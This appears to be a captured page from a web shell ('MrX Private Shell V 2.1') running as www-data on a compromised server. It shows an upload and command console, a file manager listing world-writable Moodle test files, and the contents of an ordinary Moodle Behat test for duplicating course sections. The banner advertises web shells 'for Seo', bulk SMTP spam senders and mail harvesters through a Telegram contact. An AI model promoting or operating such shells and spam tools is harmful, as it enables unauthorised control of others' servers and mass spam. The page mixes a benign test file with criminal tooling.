__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @core_course @core_courseformat
Feature: Duplicate a section
  In order to set up my course contents quickly
  As a teacher
  I need to duplicate sections inside the same course

  Background:
    Given the following "courses" exist:
      | fullname | shortname | category | enablecompletion | numsections | initsections |
      | Course 1 | C1        | 0        | 1                | 1           | 0            |
      | Course 2 | C2        | 0        | 1                | 4           | 1            |
    And the following "activities" exist:
      | activity | name                | intro                       | course | idnumber | section |
      | assign   | Activity sample 1.1 | Test assignment description | C1     | sample11 | 1       |
      | book     | Activity sample 1.2 | Test book description       | C1     | sample12 | 1       |
      | assign   | Activity sample 2.1 | Test assignment description | C2     | sample21 | 1       |
      | book     | Activity sample 2.2 | Test book description       | C2     | sample22 | 1       |
      | choice   | Activity sample 2.3 | Test choice description     | C2     | sample23 | 2       |
    And I log in as "admin"

  @javascript
  Scenario: Duplicate unnamed section
    Given I am on "Course 1" course homepage with editing mode on
    When I open section "1" edit menu
    And I click on "Duplicate" "link" in the "New section" "section"
    # The duplicated section has section number 2.
    And I am on the "Course 1 > Section 2" "course > section" page
    Then I should see "Activity sample 1.2"
    And I should see "New section"

  @javascript
  Scenario: Duplicate a named section
    Given I am on "Course 2" course homepage with editing mode on
    And I set the field "Edit section name" in the "Section 1" "section" to "New name"
    And I should see "New name" in the "New name" "section"
    When I open section "1" edit menu
    And I click on "Duplicate" "link" in the "New name" "section"
    Then I should see "Activity sample 2.2" in the "New name (copy)" "section"

Filemanager

Name Type Size Permission Actions
activity_groupmode.feature File 7.3 KB 0777
activity_icon_tooltip.feature File 2.6 KB 0777
activity_visibility.feature File 4.46 KB 0777
behat_courseformat.php File 2.4 KB 0777
bulk_activity_actions.feature File 10.96 KB 0777
bulk_section_actions.feature File 13.41 KB 0777
bulk_select.feature File 13.2 KB 0777
bulk_show_one_section_actions.feature File 5.8 KB 0777
content_preferences.feature File 4.33 KB 0777
course_courseindex.feature File 22.65 KB 0777
course_manageactivities.feature File 3.57 KB 0777
courseindex_completion.feature File 10.38 KB 0777
courseindex_keyboardnav.feature File 5.02 KB 0777
courseindex_language.feature File 1.46 KB 0777
coursepage_completion.feature File 10.77 KB 0777
duplicate_section.feature File 2.01 KB 0777
movecm_keyboard.feature File 4.58 KB 0777
movesection_keyboard.feature File 2.45 KB 0777
section_page.feature File 6.58 KB 0777
section_visibility.feature File 5.47 KB 0777
Filemanager